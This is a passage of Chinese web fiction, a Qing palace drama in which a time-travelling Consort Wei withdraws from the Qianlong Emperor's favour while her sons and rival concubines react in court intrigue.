皇太后轻轻咬了一小口点心,和静眼巴巴看着,好想吃点心啊,不对!她要认真听皇玛嬷教她学东西。 和静甩了甩脑袋,继续认真听。 但是她眼睛不自觉落在皇太后手中那块点心上,馋的口水快流出来了,魏紫菀轻声在一旁说道:“擦擦。” 和静立马掏出帕子往嘴上擦了擦。 皇太后哪会看不到和静手上那些动作,但都睁一只眼闭一只眼,小孙女着实听话乖巧,不就是馋了点吗,小孩儿都这样的。 与其说这孩子馋吃的,还不如说这孩子听话乖巧,哪怕馋成这个样子了,还能克制住自己,认真听她讲话。 也就在这时,皇太后才对和静这孩子升起不浅的好感。 过去她只养过和恪这个小孙女,即便知道和静是和恪的同母姐姐,贵妃养出来的孩子不会差的,可这亲手带大的孩子自然不是其他孙女能比的。 她对和静的态度跟对其他孙女没多少区别。 可这会儿,她知道和静也是个讨人喜欢的孩子,对这孩子的喜爱更甚从前。 “听哀家说,等你学完了哀家就给你吃点心。” “好耶!”小和静高兴道。 “咳。”皇太后再次举起点心,“你看好啊,就这样一口一口地吃着,才不会咽着对不对。” “我明白了,皇玛嬷。”小和静高高举起小手,“我现在重新给皇玛嬷喂点心,不会像刚才那样不小心了。” 皇太后满意地点点头,这回,小和静举起点心的小手无比轻柔,轻轻地递在皇太后嘴边。 皇太后笑眯眯轻轻咬了口到嘴的点心,“嗯,好吃,哀家孙女亲手喂的点心,就是格外的好吃,真香啊。” 小和静被夸得小脸红通通的,小手都不知往哪儿摆了,“皇玛嬷,你继续吃,等吃完了我再喂你吃!” “咳,皇玛嬷现在不饿,就是有点渴。” 小和静是个聪明孩子,立马就反应过来皇玛嬷想喝水,转身就去端来水,那小手可稳了,茶水满满当当的,小和静格外小心,魏紫菀暗暗为女儿加油。 就这样,小和静慢慢地走,皇太后看着也跟着提心吊胆了。 裕贵太妃更是瞪大眼睛,“这孩子手真稳,一看就是手脚利落的孩子。” 小和恪也在心里给姐姐打气。 一步、两步、三步,小和静慢慢将茶水端到皇玛嬷面前,眼睛亮晶晶的,“皇玛嬷,您快喝!” “欸,哀家看到了,哀家这就喝。” 皇太后恨不得将孩子抱起来重重亲一口,事实上,她也确实这么做了,她将小和静抱起来,狠狠在她脸上亲了一口又一口,像是在跟裕贵太妃炫耀似的。 在亲完十来口后,还看了眼裕贵太妃,看得裕贵太妃心里好笑,嘴上也乐得捧着她,“熹姐姐,您可真厉害,和静这孩子多喜欢你啊,看得哀家心里酸溜溜的。” 皇太后哼了哼,“那是当然,哀家的亲孙女,不亲近哀家还能亲近谁。” 她这语气极其兴奋、热烈,可能她自己都没发现她对小孙女的态度发生截然不同的变化。 从前她对后宫非嫡出子嗣百般忌惮,总觉得自己这个身份亲近这些庶出的孙子孙女不好。 也就是在养了和恪一段时日以后,觉得和恪在自己心里地位有些微不同了,再加上贵妃那时候不愿意将孩子给她,让她生了恼气,对和恪更看紧了,这才导致和恪这个孙女在她心目中的地位跟其他庶出孙子孙女隔开了。 都跟嫡出子嗣没多少区别了。 而如今和静讨人喜欢的小脸殷切地看着她,要是她这样还不被打动,那她的心该有多狠。“和静啊,你跟和恪都是哀家最疼爱的小孙女了。” 和静眼睛亮亮的,也黏黏糊糊道:“皇玛嬷,你和贵玛嬷也是和静心里最喜欢最喜欢的玛嬷了。” 和恪也跟着凑热闹,举起小手,“还有和恪,和恪也最喜欢皇玛嬷和贵玛嬷两位玛嬷了!” “哎哟。”裕贵太妃嘴角上翘,她感觉这会儿她不说点好听的话,就不趁兴了。 她发自内心道:“和静和恪和婉你们三个孩子,是哀家心里最疼最疼的孙女了。” 和恪晃了晃小腿,心里高兴。 她知道和婉姐姐是谁,是裕贵太妃的亲孙女,她见过和婉姐姐,她也很喜欢很喜欢和婉姐姐。 魏紫菀看着她们祖孙四人相处愉快,心情也跟着美妙起来了。 果然,不用应付皇帝的每一分每一秒,她都觉得快活极了。 她敛下眸底种种情绪,在意识到皇帝因为她一番神态而对她变了眼神时,她就无比清楚地意识到,所谓皇帝宠爱,不够如此。 她这辈子,已经无心力讨好皇帝了,就当她近十年的讨好给她留下的影响太深了吧。 她实在无法去亲近皇帝,特别是在日复一日想起皇帝在马车上那抹恨不得将她杀了的眼神时。 这叫她怎么不惧怕皇帝。 她给他生了三个孩子,养了四个孩子,哪怕是这样,他也能对她存了怀疑。 这只能说她自己没运道,生来就是这种命数,她就不该一开始就贪图皇帝宠爱—— 可从一开始,就注定她前路难走,不是皇帝也会是其他男人,没有高贵妃也会有其他高位。 她大概是顺风顺水多年,才忘了一开始的后宫高位有多排挤低位妃子出头。 成为宫妃这条路,她不走也得走。 第108章 第108章第一更 魏紫菀没有一直被不知名的情绪困扰。 像她这样的人本就是天生性子活泼,不被外界环境影响的,以至于她一双儿女被她养成同样活泼不见外的性子。 大不了就是伸头一刀。 在皇帝还没决定动她之前,她想怎么快活就怎么快活,看在她两双儿女的份上,皇帝不至于会动她娘家人,况且她娘家人是打从一开始就什么都不知,以为她和皇帝在一起是顺水推舟的。 唯一会被影响的只有她后半生的命运罢了。 可她决定快活了,她何必非得讨好帝王。 也就是那样啊,她深深叹了口气,那抹恨不得将她杀掉的眼神,让她无法忘怀啊。 她突然笑出声,还是觉得帝王的情意可笑之极。 “贵妃,你还年轻,大可将儿女之事交给哀家和裕妹妹。”皇太后想了许久,才说出这番话。 以她不愿理会后宫妃子的性子,她不该劝贵妃这些话的。 她坦言道:“皇帝跟哀家说过,你一双女儿都留京,君无戏言,你不必过来寻哀家了。” 皇太后至今还以为贵妃又担心起公主抚蒙一事,见她态度软化,又来讨好她,只是这事已经定下了,她不好一直让贵妃过来,有一对小孙女就够了。 她儿子生性凉薄,心意说变就变,贵妃近十年得宠,但是最近皇帝去寻新人的次数渐多,她还真怕贵妃失宠,这些日子宫里的风向也变了,那些新人总是闹得慌。 贵妃要是失宠了,她总觉得心里不大舒坦,也为贵妃不争气恼怒。 明知道自己家世不高,凭借宠爱和子嗣才稳坐贵妃位,可若是仔细论来资历和子嗣,嘉妃和纯妃都有两子,并且是潜邸旧人,慧妃生有龙凤胎,还是侧妃出身,娴妃无子,但是侧妃出身,而且皇家确确实实对不住她。 皇帝妃子和儿媳对她下手,也形同让皇家背锅了。 贵妃的地位并不比她们稳固多少,只是因为皇宠才让自己处在皇后之下的第一人身份,贵妃要是落魄了,她就不习惯了。 近十年都是无人敢得罪的地位,要是被新人或是旧人拉下来,她看着也不得劲。 贵妃也不该是落于下风的地位。 皇太后真是恨铁不成钢,当年贵妃对上她的底气去了哪儿,这些日子那些新人可得蹬鼻子上脸了。 魏紫菀笑道:“多谢太后娘娘帮妾身说话。” 想来皇上能让和恪也留京,有皇太后帮忙说话的缘故,这句话彻底稳了她的心,既然君无戏言,皇帝不会欺骗自己亲娘,她一双女儿都能留京了。 “只是太后娘娘是不是不喜欢妾身了,不愿意妾身过来寻您,陪您说说话了吗?” 她手指攥紧,用力咬住自己的腮,眼睛一眨不眨望着皇太后,那可怜劲啊,看得皇太后心里直抽抽,差点就说自己没这个心思了,就贵妃会多想,要是她不愿意她过来,早就用各种借口推拒了,何必还让贵妃进屋,真当她这里是好进的吗? 但在关键时候,皇太后还是克制住自己将要脱口而出的话。 “哀家没拦着你过来,只是你作为妃子,不可心思都在哀家身上,伺候好皇帝,为皇家开枝散叶是你该做的事。” 魏紫菀久久不语,突然问道:“太后娘娘,您觉得妾身生下一子两女算不算为皇家开枝散叶了?” “如何不算了?”皇太后反问道,她对贵妃问她这话的感觉就是奇奇怪怪的,但这不妨碍她老老实实回答贵妃。 是啊,皇太后都觉得她为皇家开枝散叶了,可为何皇帝还能对她起杀心,她做错什么了。 魏紫菀面不改色继续问道:“太后娘娘,那妾身问您,妾身这 近十年来可将万岁爷伺候舒心了?” 皇太后有些不耐烦了,这不是明知故问吗,她仍是耐心道:“皇帝什么脾性,哀家最清楚,你要是做不到让他顺心,他也不会宠你近十年。” 所以啊,快十年的时光抵不过一瞬间有关真情假意的辨认。 旁观者清,当局者迷,魏紫菀这下是真的不被皇帝迷惑了,她心情颇好地笑了笑,“我的好娘娘,我大儿子都要成家立业了,我也不好继续霸占万岁爷恩宠啊,您看我为万岁爷生儿育女,又霸占万岁爷恩宠近十年,万岁爷子嗣少,我总得让那些新妹妹得宠吧,让她们为皇家开枝散叶,我就陪在您身边吧。” 她挺欢快道:“等永琮有了孩子,我带着您曾孙过来看您。” 皇太后被她这段话惊着了,贵妃在说什么糊涂话,哪有人嫌恩宠多的,还想将恩宠推出去。 什么子嗣长成了,自己不好霸占帝王恩宠这种话都说出来了,皇太后看了眼贵妃愈发漂亮的脸蛋,跟多年前相比不减半分风韵,还多出一种身处高位才能养出的贵气。 这样的脸再过十年也轮不到新人争宠。 皇太后总算意识到贵妃跟她儿子发生什么事了,而且这种事直接让贵妃断绝了争宠的念头,她直言道:“发生什么事了,你跟哀家说说,哀家说不定能帮你。” 魏紫菀眼皮跳了下,“娘娘多想了。” 她颇有些深沉地说道:“娘娘,您愿意帮妾身说话,妾身也不忌讳跟您说真心话,裕贵太妃也是真心待妾身的,妾身也不忌讳太妃娘娘听到这些话。” 皇太后忍不住笑了,“你何时这般喜欢逗人笑了。” “这可不是逗人笑的话,”魏紫菀笑了笑,“妾身想和静和恪两孩子已经定下是留京的婚事了,永琮永璐两孩子也已经有了嫡福晋,万岁爷还册封他们爵位。” 她来到皇太后身边,如同小女儿般枕在她膝上,“妾身现在什么都不求了,确确实实想着让那些新人得宠,让她们为皇家开枝散叶,而妾身就陪在您身边可好?” 皇太后望着她,腿上柔软温暖的触觉传来,她叹了口气,“罢了,你不愿说理由,哀家也不逼着你,看裕妹妹的意思,大概早就被你这套做法迷惑住了,她惯是心软的。” “那娘娘您可心软?” 皇太后指尖动了动,伸手拍了拍她后背,“你既然不愿,哀家也不能逼你。” 看在贵妃确实为皇家开枝散叶的份上,她就容忍贵妃这一次次的越矩之言了。 放眼后宫,有哪个妃子能不愿意伺候皇上。 就连妃子到了岁数不能再生养,都得帝王恩赐才能免了生养之痛。 可贵妃毕竟是骄傲的,能让她讨好她,不念着帝王恩宠,可见是有事情确确实实伤着她的心了。 天恩浩荡啊……皇太后不知为何想到了先帝。 想到了被先帝宠爱过的齐妃和年贵妃,两人都是极美的颜色,可惜一个色衰失宠,一个身体娇弱,都那样,不如她运道好,走到最后。 她是大清的皇太后,而她们早就黄泉枯骨了,可是不论岁数,她们也确确实实得意过,确确实实曾一度以为主子爷的位置能传承给她们儿子,若非她有一个儿子,她这辈子都不如她们。 而如今,看着一个像极了年轻时的年贵妃的女人在她面前祈求垂怜,她突然就意识到为何先帝会将年贵妃她们放在心上了,这让她怎么忍心。 “多谢娘娘。” 魏紫菀闭眼假寐,心里清醒极了,她还是有希望的,如果她最终能过帝王这一劫,她就信一回佛吧,让佛看到她的诚心诚意,顺道,如果佛真有仁心的话,就让她回到她原来那个时代吧。 这个时代她的儿女皆有归属,即便有一日她回去了,她相信永琮一定会照顾好弟弟妹妹的。 她本来也是无意间闯进这个时代的。 她付出了这么多,她想让自己冷静下来,却抵不过皇帝那一眼让她心神俱裂,她那一刻起了对皇帝的无尽惧意,以及隐藏在害怕之下的……杀意。 她都这样努力活着了,居然还有人想杀她。 这个人还是她孩子的爹,她名义上的夫君,太可笑了。 …… 乾清宫,听到奴才禀告贵妃去了寿康宫,并且皇太后命人给贵妃收拾出一个房间时,皇帝处理奏折的手顿住了。 “皇太后没让贵妃回去?” “回万岁爷,贵妃今晚要在寿康宫住下。” 他将奏折一掷,心情愈发暴躁,九个儿子的事还没弄清楚缘由,他和贵妃却离得越来越远了,贵妃难道就不想找他解释吗。 故作不知,贵妃明知道他已经猜到了吧。 不然也不会在他抱起她时,身体太过柔软了,对他一点都不设防,从前可不见贵妃这样。 从前哪怕是他再亲近她,在碰到她时,总会身子下意识一僵,他以为是贵妃不大习惯跟人接触,可他现在才明白,原来是防着他啊。 就是在防着他啊。 乾隆要被气笑了,他待贵妃真心实意,可贵妃居然在防着他,她居然在防着他! 没有比这更可笑的事了。 贵妃凭什么要防着他,他看她待儿女上心,待婉嫔颖贵人两个妃子也上心,他以为她对谁都是这样善解人意的,而他在她心里面的地位尤其不同。 但结果儿女、妃嫔、太妃都能在贵妃心里留下痕迹,就是他不行。 他是被贵妃防着的人啊! 他被贵妃防得死死的,他想说凭什么。 凭什么贵妃只这样对他,他没有做过对不住贵妃的事吧。 他可以以为他察觉到的事情是假的,他也能相信贵妃待他的真心是真的,可贵妃实在聪慧,意识到他的不对劲了,打那之后的事情便再也由不得他自欺欺人了。 第109章 第109章更新来了 他意识到,贵妃对他无心。 这个事实如同无法挣脱的梦魇死死缠着他。 乾隆嘴角扯了扯,真心无趣,贵妃难不成以为他非她不可了。 可是下一刻让他想起别的宫妃,他又不愿意让她们过来,这地方只有贵妃才能来。 他眉头蹙起,着实觉得这样的自己可笑之极,不过一个妃子,他想怎么样就怎么样,他还能顺手将她小弟变成白身,还有她大哥、阿玛和二哥,以及魏家也能在他一己之念下不复从前欣欣向荣的状态。 可是这样她会不开心的吧。 甚至会恨上他。 他突然沉默了,可让他就这样心甘情愿认了贵妃心里没他的事实,他心里恨、也不甘心。 但事实是,贵妃真的不将他放在心上。 他心里突然散了拿其他宫妃让贵妃生气的心思,如果贵妃不在意他,又何来的生气,反而弄得他哪哪都不舒服。 就看谁熬得过谁,他想看看贵妃能忍到什么时候。 既然贵妃存心讨好他,为了家族、为了子嗣和地位,那么将来总有要求到他身上的地方,像是和恪的婚事,他还未告知贵妃,和恪将要留京一事,想必以贵妃在乎孩子的心性,总有一日会主动找上他。 他这回绝对不理会贵妃了。 “可查到阿哥们了?”为了不再想贵妃的事,乾隆干脆将心思都放在自己那些儿子身上。 他甚至隐隐松了口气,他这是有别的要事缠身,他不是在跟她赌气,他不会在意任何一个妃子,不过是贵妃罢了。 他不在意贵妃。 “回万岁爷,据奴才细查,这事好似跟皇后娘娘有关。” “皇后?”乾隆微微眯起眼睛,“皇后又做了什么事?”永璜之后,莫非她又搬弄手段了? “万岁爷,皇后娘娘似乎与富察氏一族私下有往来。” 乾隆这下绷不住了。 富察氏一族是皇后母族,私底下有往来是再正常不过的事,只不过,能让奴才这么说的,也只能是往来的不是什么好事。 后宫之主要是存着算计人的心思,和家族结盟,有些事摆在明面上, 便是皇后对不住这后宫之主的身份了。 “给朕仔细查。” …… “七哥,你说额娘这段时日怎么不跟皇阿玛好了。”永璐犹豫半响,总算憋不住了。 “额娘喜欢接近皇阿玛,或是喜欢跟皇玛嬷她们相伴,都是额娘的事,好不好的,也不是很重要了。” 永琮打了个哈欠,继续奋笔疾书,皇阿玛最近奇奇怪怪的,大概是被他们兄弟九人气狠了,给他们布置的功课又重又杂,写不完,根本写不完。 “可是有些人总觉得这样能拉下额娘的恩宠。”永璐蹙眉,他跟七哥一个心思,都觉得额娘开心就好,只是他看不过眼那些自以为额娘失宠了就能接替额娘宠妃身份的妃子们。 无论额娘有没有宠爱,有他们这些儿女,以及魏氏一族,轮不到她们张扬,再说了,额娘也不是任由她们捧高踩低的,额娘无论有没有宠爱,都是贵妃,何况其他高位失宠多年,难道她们失宠了就不是高位了。 何其荒唐可笑,要是她们出现在额娘面前,定然一个声都不敢吭,只是仗着额娘不理会后宫事才传出那些似是而非的话。 听到九弟这话,永琮停笔,将毛笔攥紧,眉头蹙起,“只要额娘觉得开心就好,额娘喜欢皇阿玛的恩宠,自然会跟皇阿玛亲近,可若是额娘没这个心思,去亲近皇玛嬷贵玛嬷她们,爷觉得不算大事,永璐,她们要有能拉下额娘恩宠的能耐,早就得了恩宠了,更不用说这些恩宠还是额娘先不要的,她们拾起额娘不要的恩宠,反而说额娘不是,但凡是个知道这事的人,都会被这话逗笑吧。” 真的不算大事,他们这些儿女长大后,还不能作为额娘的靠山吗? 没理由让额娘一辈子对皇阿玛死心塌地吧,他也不是怂恿额娘对皇阿玛死心,可是额娘最清楚自己做的是什么事,能讨像皇阿玛这样性子的帝王,额娘付出的心力肯定不少,既然额娘不愿意讨好了,转而去讨好皇玛嬷。 他觉得没问题,额娘喜欢就好,前半生额娘庇护他们长大成人,后半辈子也该他们庇护额娘,让额娘做什么事都能随心而为,包括不在乎皇宠这种在外人眼中惊世骇俗的事。 其实说到底,魏氏一族的族人都很努力,又不像其他妃子的母族要皇阿玛提携,就算是小舅舅的蓝翎侍卫一职,没有皇阿玛的提携,小舅舅凭借自己的能力迟早会当上三等侍卫,再往前,也能当上朝中高官。 况且以皇阿玛的性子,不可能提携毫无用处之人。 所以说,魏氏一族用得上皇家权势的地方不多见,就连表妹的赐婚,那都是九弟主动要求的,额娘没有要依赖皇阿玛的地方了吧,至于贵妃的地位——额娘这么多年为皇阿玛生儿育女,说句难听的话,要是连一个高位都没有,额娘早就对皇阿玛死心了,皇阿玛也不会在后宫顺心多年。 再说了,其他妃子生儿育女都有高位,凭什么他额娘不能有。 往后,这对帝妃如何,不复过去恩宠了也好,或是皇阿玛有了新宠也罢,他总不会让额娘受委屈的。 当儿子的要是连这点都做不到,也就枉为人子了。 永璐微微睁大眼睛,郑重其事道:“七哥,你说的话有道理,以后我就听你的了。” 永琮听出他这话的不对劲,将笔啪的一下撂在桌上,“永璐,你老实跟我说,你做了什么?” 永璐有些心虚,“我也没做什么,就是撞见她们和奴才嚼舌根,找个理由将她们奴才赏了耳光。” 她们奴才特地出现在他经过的小道上,要是他不知道有人想算计他,那真是枉费他听了好一会儿的“窃窃私语”了,她们想激怒他,让他为额娘做主。 可能是她们以为额娘失宠了,再激怒他,他就会不顾一切为额娘出气,她们受了委屈就能在皇阿玛面前控诉他的不是,让额娘愈发不得圣心,可他又不是蠢的。 随便找个借口训斥她们奴才就得了,至于她们本人,宫里有的是看人下菜碟的奴才。 额娘不惹她们,她们反倒上赶着,真当他没脾气了。 永琮听他将来事情的来龙去脉,眉头松开,“训了就好。” 他笑出声来,“永璐,你这手段也不过如此,她们觉得自己能耐,我们动不得她们,自有动她们家族的能耐。” 没事找事的,什么结果都得自己受着。 永璐不出声了。 永琮再度感觉不对劲了,又重重一拍桌,“你又做了什么,老实给我全部道来。” “我、我就是伙同小舅舅将她们父兄绑去揍了一顿,还说有什么事找我算了,不许乱嚼舌根。” 永琮简直要被他气出毛病了,“你在想什么,做这种事还能留下名字,你说的是谁的名,道的是谁的姓?!” 永璐挺了挺胸膛,骄傲道:“留的自然是爱新觉罗氏的姓,道的当然是无名氏。” 永琮缓缓坐下来,“还算你得理。” 他又道:“怪不得只有你听到这消息,我什么都没听到了。” 既然教训过了,皇阿玛那边又迟迟没有反应,就证明她们没胆子跟皇阿玛吹枕头风——当然,她们都有胆子做出算计他弟弟的事,他更倾向她们是说了,但是皇阿玛并不放在心上。 这样也好,往后等后宫流言蜚语缓下来,额娘也能继续过自己平平淡淡的日子。 “你还不赶快做你功课,就只有我忙活,你以为你就能逃过一劫。” 永琮继续抓着笔,往日翩翩君子的气度被毁得一干二净,但凡是人,只要陷进去做功课这种事上,就没法全身而退,尤其是这功课还是一个月的量却要他七天内上交。 永琮觉得自己还能跟弟弟好声好气说话,全凭自己一身好修养。 永璐避开他视线,不大自然道:“七哥,你知道永瑆年纪还小吧。” “这又怎么了?” “永瑆年纪小,所以皇阿玛布置的功课特别少,”他声音越来越低,“所以我让永瑆帮我写了。” 永琮愣住了,再度将笔一撂,“这种好事怎么不早告诉我!” 他扼腕叹息,八弟跟他一个年纪,只比他晚点出生,功课肯定不比他的少,也就是说,皇阿玛只可能给永瑆一个人布置的功课量不大。 没有能帮他的兄弟了。 “我以为你胸有成竹。”永璐说话声音更小了。 第110章 第110章更新来了 “永璐啊。”永琮皮笑肉不笑将兄弟拽到面前,“以后这种事可不能你以为就行了。” “七哥,我错了。”永璐举起双手做认输状,“要不我帮你吧。” 永琮沉吟片刻,将他放下,“你怎么让永瑆帮你的,爷记得永瑆这性子未曾有一刻安定下来吧。” 永璐不大自在摆了下手臂,“你说这个啊,也不是什么大事,就没必要说了吧。” “说!” “我就是答应他以后永璇过来揍他时,就帮着他拦会儿。” “还有呢?”永琮并不觉得这种事会让永璐半天都不愿开口,不像平时的他。 “还有就是以后永璇过来跟他争七哥你,我帮他。”永璐十分别扭。 永琮脸色顿时不冷了,永璐惊奇道:“七哥你不生气吗?” 永琮反倒奇怪,“我生气做什么?”他瞟了眼永璐,发现他真的担心这个,不免解释道:“你们都盼着兄弟爱,这有什么不好的,当哥哥的就是得格外容忍弟弟的。” 他一想到永璇永瑆争半天就是想得到哥哥更多的疼爱,他就没法生气了,毕竟是弟弟,又不是外人,他忍不住蹭了把九弟的头,格外有兄弟爱将蹭到墨水的手心朝上,没让墨水沾在弟弟头上。 “下回哥带你们几个好好去体验大哥的兄弟爱。” 永璐想了下大哥以及他那两个皮上天的小子,沉默了,“这种兄弟爱还是免了。” “七哥,你真的不要我帮忙吗?” 永琮摇头,气定神闲,“不用,我刚才就逗你玩的,以皇阿玛的眼力未必认不出是谁做的,不然我早就让特成额帮我了,他既然要娶我妹妹,我多历练他,他也是心甘情愿的。” “可是那么多功课,皇阿玛未必看得来。” 永璐赌的就是这个,他就赌皇阿玛政事繁忙,给他们不知的功课又多又重,保准看不过来。 永琮看了他一眼,眼神怜悯,“你有这种想法是好事,证明你会动脑子了,只是动的不多。” 永璐愣住了,“七哥,你这是什么意思?” 永琮继续低头写字:“皇阿玛最近脾气不好,不止是对上我们这些兄弟。”他感觉皇阿玛有点像额娘说的更年期到了,皇阿玛好似拿额娘没办法,“所以他一定会对我们这些兄弟鸡蛋里挑骨头的,你做好准备。” “啊?”永璐傻眼了,还怀着希望道:“不一定像七哥你说的那样吧。” “希望真如你说的那样。”永琮语气深沉,反正他是不可能给皇阿玛挑他错处的地方的,就皇阿玛现在的脾气,谁惹上,谁就得倒霉。 永璐沉默了,立马奋笔疾书。 永琮笑他:“不让永瑆帮你了?” “让他帮了也没用,我也怕被皇阿玛骂!” 兄弟俩努力了一下午,终于在傍晚时分才将十分之一的功课完成。 两人刚喘口气,就听到奴才禀告后宫有事儿发生了。 至于是什么事,那得从万岁爷将刚进宫的那几个得宠妃子都贬做庶妃开始说起。 “平常在……”永璐对这人有印象,“我还出宫揍了顿她父兄。” 兄弟俩对视一眼,眼神复杂。 永琮道:“爷还以为皇阿玛不理会这些事了。” 永璐道:“理会也没啥用,额娘天天往寿康宫跑。” “不过这样没什么不好的。”永琮再度发话,“皇阿玛念及旧情,总会对额娘好些的,往后额娘有没有恩宠都能过得舒心。” …… 半个时辰前,咸福宫,平常在喜滋滋从乾清宫那边的方向回来。 慧妃见她这副模样不免起了疑心,“做了什么事这般开心?” 平常在想做出副强颜欢笑的模样,但压根勉强不来,只得笑道:“娘娘,婢妾父兄被九阿哥打得鼻青脸肿。” “鼻青脸肿……?”慧妃语气颇重,“你做了什么?” 她顾不上理会平常在遇上这种事怎么这般开心,以贵妃养的那四个孩子,一个塞一个精明,能做出揍妃嫔父兄的事,必然是贵妃那方占据上风。 平常在笑得欢喜,说出来的话毫不客气,“贵妃娘娘霸占万岁爷多年恩宠,也是时候腾位置给新人了,这新进宫的女人总是如花骨朵般含羞待放,总得要有帝王欣赏才行。” 慧妃脸色沉下来,看向她的眼神就如同看一个蠢货。 平常在以为自己说中娘娘心思了,语气越发兴奋,“近十年的恩宠,若是分给其他女子,早就有不少女子得宠有孕了。” 若是她能分得更多恩宠,她早就怀上身孕,成为宫中宠妃了。 她的地位会水涨船高,如同贵妃一样受万人敬仰,在后宫一人之下,万万人之上。 毕竟贵妃家世也就那样,起初还是包衣抬旗,就是正好赶上了大选凭借容色得了帝王宠爱,生下两女一子,升为贵妃。 她容色不比贵妃,但她比贵妃年轻! “所以你做了什么?九阿哥才会揍你父兄。”慧妃再次问道,她已经不将平常在当作自己宫所的人了,这样的蠢货,她宫里容不下。 “婢妾也没做什么。”平常在眼神闪躲,她故作镇定道:“大抵是九阿哥听闻婢妾等人得宠,一时为他额娘抱不平吧,便起了心思教训婢妾父兄,宫外被揍的人不只是婢妾父兄,还有跟婢妾一样得宠的宫妃父兄。” “你父兄被揍了,那你回来怎么这般高兴?”慧妃听了这话半句都不信,九阿哥会因为这种事揍平氏父兄,未免可笑。 平氏以为自己现在的恩宠能跟贵妃相提并论?退一万步来说,就算平氏有那么一丝可能,九阿哥至于跟一个常在计较,贵妃和常在之间差距多大,平氏怎么敢痴心妄想的。 “婢妾和其他妹妹去给万岁爷说了这事。” 平常在想起方才那幕,颇有些尴尬,她们一群人来到乾清宫外,万岁爷却始终没让她们进去,不过倒是奴才们倒是将她们说的话都禀告给万岁爷了。 她相信万岁爷会给她们作主的,九阿哥无缘无故就对她们娘家人出手,这般嚣张跋扈,要是背后没有贵妃娘娘指使,她不相信。 平常在没发现,慧妃看她的眼神如同看一个死人了。 或者说,一个在宫里注定会失宠的人,往后在宫里只能苟延残喘,这跟死人无异,甚至还不如死了的人自在。 平常在唏嘘道,“娘娘,婢妾不盼着万岁爷给我们作主了,只盼着能讨个公道。” 当然这都不是重点,重点是她们能不能借此扳倒贵妃。 贵妃倒了,她们才能有更多恩宠。 110-120 第111章 第111章更新来了 谁不盼着生下皇子阿哥,得到万岁爷恩宠,贵妃霸占帝王宠爱,就等于绝了新人后路。 所以贵妃必须要倒,而且还要倒的极快。 慧妃已经不愿看她了,直接吩咐道:“送她回屋,禁足。” 平常在脸色微变,“娘娘,您这是要做什么?您无缘无故给婢妾禁足,就算您身为高位,那也不是您肆意妄为的借口。” 慧妃看她眼神极冷,“本宫用得着跟你说道理,你别连累本宫就好。” “放开我!”两个宫女刚上前,平答应挣扎着,慧妃身旁的两位嬷嬷见事情折腾这么久,就要上前压住她,结果从乾清宫过来的奴才到了。 平常在如同见到了希望,眸子泛着泪水,“求万岁爷为婢妾作主!” 但太监们过来是有要事吩咐的,并不理会她:“平常在不遵高位,贬做庶妃,今后禁足于咸福宫。” 慧妃面上不显情绪,心道果不其然,就算贵妃失宠,也绝不是这种小虫子能到处蹦跶的原因。 平常在不可置信,“我不相信,怎么会这样……” 明明九阿哥做了那么过分的事,万岁爷还不去贵妃宫所了,为何万岁爷还会为了贵妃贬了她们位份。 万岁爷到底是什么意思,让她们心生奢望,却又重重敲打她们。 “你不信也得信,难不成你想抗旨不遵?”慧妃似笑非笑。 这回平常在不用奴才压着,自发进了屋,满脸不甘,对皇帝的不甘,以及对恩宠子嗣的不甘。 只是到头来全化作了对贵妃的不甘,她始终没胆子真正怨恨上帝王。 她甚至怀疑是贵妃故意为之,以为她们能够扳倒她,到头来却成了贵妃能光明正大嘲笑她们的证明,这让她怎么甘心。 贵妃什么都有了,子嗣、容貌、恩宠,现在不过是恩宠要逝去,居然连被她们霸占恩宠的机会都不 给,真恨啊。 慧妃自然看到平氏不甘的面孔,但平氏能做出这种事,并且还不知道自己错在哪,就证明平氏被贬的不冤。 不过以贵妃的性子,做事圆滑且密不透风,能放任几个低位妃子蹬鼻子上脸或是自始至终都不知道这事,连儿子都看不过眼亲自为她出气了,可见贵妃是真的不愿争夺恩宠了。 慧妃心里头一次升起莫大的疑惑。 帝王恩宠……居然有人会不放在心上,贵妃到底遇到什么事了。 还有皇上,明摆着放纵自己对这些低位妃子的宠爱,也看似毫不在意贵妃了,但这些低位妃子起了挑衅贵妃心思时,还是毫不犹豫将这些低位妃子位份贬至尘埃。 她已经打听过了,除了她宫里的平常在被贬,其他妄图说贵妃坏话的低位妃子也一样被贬了。 最近宫里到底发生什么大事了,皇子们闹腾,贵妃也闹腾,皇帝更闹腾。 她甚至有一种感觉,她等不到儿子建功立业时就看到后宫局势崩塌了。 这种感觉在贵妃不继续霸占恩宠时,越发明显。 她平生最厌恶这种无法掌控的滋味,哪怕是皇后想要算计她腹中子嗣时,她都没产生过这种不安,好似局面崩塌了以后,皇帝就不会再有耐心对上宫妃和皇子。 她闭了闭眼,“贵妃最好早些给本宫恢复正常。” 如果没有贵妃稳住帝王,她不知道皇帝在明摆着十分在意贵妃时却遭到贵妃一次次冷脸,会如何暴怒,无法想象。 …… 寿康宫,魏紫菀略有耳闻这事,但她对皇帝贬了多少个妃子并不感兴趣,皇帝要杀她,她还想着恩宠这事,她就无可救药了。 况且在寿康宫只需要哄着两个老小孩,就能过上跟从前别无二致的宠妃待遇,甚至皇太后和裕贵太妃用不上的东西更多,都便宜了她们母女三人。 魏紫菀就是单单为了这些赏赐,都心甘情愿当老人陪护,这老人陪护也不需要她做什么,凡事有奴才去做,两位长辈给她提供的情绪价值更多。 倒不用她特地给皇上提供爱他、非他不可的情绪了。 她自己劝了自己那么多年,觉得一开始本就是她蒙骗帝王的,是她不对。 可是她却忘了一开始本就不为她所愿,她要是有选择的话,她也不会一直告诉自己,当宫妃才是最好的选择。 她为欺骗皇帝心慌,但她好似从来没有心疼过起初的自己,她不想再背叛自己了。 穿越到这个世界本就不是她所愿,她骗帝王的这些年,帝王也不吃亏。 她没有错,她这些年还给皇家生下了两女一子,养育了四个孩子,皇帝甚至没能力护着她,她打从一进宫就不得不要算计,错的只能是皇帝。 如果不是他最初放任着高贵妃趾高气昂,事情也不会演变成现在这个样子。 或者说,后宫佳丽三千,他放任了宫妃斗,就得承担起被宫妃蒙骗、利用的下场。 还是那句老话,皇帝从不吃亏。 她真的很累了,但愿往后就这样吧,他们最好死生不复相见。 “贵妃。”皇太后也是听说了后宫之事,忍不住叫一声贵妃。 魏紫菀及时反应过来,“娘娘,您叫妾身有何吩咐?” 皇太后看她无动于衷,心里轻轻叹了口气,贵妃这样,是打定主意一辈子不跟帝王亲近了吗? 她是不是猜错了,猜贵妃迟早会走上跟年贵妃、齐妃她们差不多的路,始终会被帝王抛弃,或是香消玉损。 可在那一天来临之前,贵妃反倒先不在意帝王恩宠了。 